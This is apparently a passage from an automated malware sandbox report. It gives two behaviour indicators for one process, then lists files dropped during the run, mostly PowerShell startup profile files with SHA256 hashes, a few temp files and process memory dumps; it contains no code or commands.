                                          • Modifies registry class
                                          • Suspicious use of SetWindowsHookEx
                                          PID:4336

                                        Network

                                              MITRE ATT&CK Enterprise v16

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 6887b46a6ab7f4651bb6b4fcefca922c65b6ed3290ab4df0cdd60699e9e38183
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 c05dfe4a7d0533e50d27c5acbf1f862d42c76f67e32dcf9192498343fec9b8dc
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 25d7e831bccd1d03fd027b8a7e8159bcc7e4062161f7f541052e5a635e4f4321
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 cfe7f23aea9e7003aa0021e2576460ef539ad28b7af6fc7b902ce56b35903251
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 48ee7beea4f27ee30411bf7294a0a144cce1abc3c91361e61ffc99435e93df5f
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 d6af2efc9c2fa8660d5dacd3ba44be2863f33bb251519c0e8be0ba27ed83c12b
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 88fa4f3bed0a19d9d41372bf66bc4229854fb4d090705fc51afa9434234e7a0d
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 04bf48477b1f600b4532fcae7714f602354000fdd47243a16737a67e5e2380db
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 7f26b220105c2bbeaebef79656dae0d5463ebf860c236670341c75abf707669f
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 7024ceddbc4ccc16802317a6bf0d4e87ec42db891ac87484a8c98dc3ae486f80
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 76883026437bc4f8348f723a91a8f639ae6ff25210d0bd4fc8776c6a17aa21eb
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 88f91118da5200d18f5b4cfd350ceae57b49f0f18702dd2f90adb4fc25e4b664
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 2ab96330a33e8821004febafe33501787710f5ba1ef86f5f82ea7c425a271d61
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 501c9fb7a27a5370da5ff00cfe49ae01e7f5ce5c7958df916c921e0336d546e3
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 07b054e0065d21b382f45ad66ca1217985bf302ce54cc68e0dd554b8911ba701
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 6f372d56899c7ee6fde808983632c60d05d22554422cdfda01fa01a104b6adda
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 58c926cc06346d06fe9f2d3f35cce598fd5a9527691b951f6a78309c6ea95521
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 4f5a192ee7a093453ab6cd376ea03e565419e6274a42fbd78026e4eefe46b178
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 64190819af190e360177ef7a72830954969e607cec354999d0e8778b2a1212d1
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 7a96d5bc957f44e38cf8d7cbe5ba5617b9aeffc4d86c00261cfc32d12cc0739c
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 dded30fbc11747dba0eea9cc57560574016540145d6df562a628f5bad1165ec3
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 b944da19525413ea4c6ae06444de08ef612835c09b0150561a49bd02e685c383
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 9a54342f6433306b0f64c91b4966697c8634d41aa21387d3d266125923e7a9dc
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              StartupProfileData-NonInteractive
                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                              • Size 1KB
                                              • SHA256 8e3dbe8ccbccd35e5085ec8d5682e80419d3eb2183bb244490a637208296d3e1
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              prep_Activatable Class_Hermes_perf.cache
                                              • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
                                              • Size 607B
                                              • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              __PSScriptPolicyTest_0radi15s.x1r.ps1
                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0radi15s.x1r.ps1
                                              • Size 60B
                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              wmicheck.tmp
                                              • Path C:\Users\Admin\AppData\Local\Temp\wmicheck.tmp
                                              • Size 152B
                                              • SHA256 5d8bfb52931a591c9c1a7768cbe5bd7821fa41c7e3c5d598cf15f3b6d7c13918
                                              • MD5 SHA1 SHA512 TLSH
                                              Submit Download

                                              memory/2260-219-0x0000020473E30000-0x0000020473EE2000-memory.dmp
                                              Download

                                              memory/3736-201-0x00000283AE560000-0x00000283AE56A000-memory.dmp
                                              Download

                                              memory/3736-203-0x00000283AEAD0000-0x00000283AEAF4000-memory.dmp
                                              Download

                                              memory/3736-191-0x00000283AE4A0000-0x00000283AE4C2000-memory.dmp
                                              Download

                                              memory/3736-199-0x00000283AE540000-0x00000283AE55E000-memory.dmp
                                              Download

                                              memory/3736-200-0x00000283AE790000-0x00000283AE842000-memory.dmp
                                              Download

                                              memory/3736-202-0x00000283AEAD0000-0x00000283AEAFA000-memory.dmp
                                              Download

                                              memory/3976-20-0x000002B603870000-0x000002B603890000-memory.dmp
                                              Download

                                              memory/3976-3-0x000002B64EDF0000-0x000002B64EEF0000-memory.dmp
                                              Download

                                              memory/3976-11-0x000002B603A30000-0x000002B603B30000-memory.dmp
                                              Download

                                              memory/3976-10-0x000002B603620000-0x000002B603640000-memory.dmp
                                              Download

                                              memory/3976-49-0x000002B6142F0000-0x000002B614310000-memory.dmp
                                              Download

                                              memory/4180-529-0x0000023323FB0000-0x0000023324062000-memory.dmp
                                              Download

                                              memory/4724-690-0x00000230D4220000-0x00000230D42D2000-memory.dmp
                                              Download

                                              memory/5560-239-0x00000197BAC60000-0x00000197BAD12000-memory.dmp
                                              Download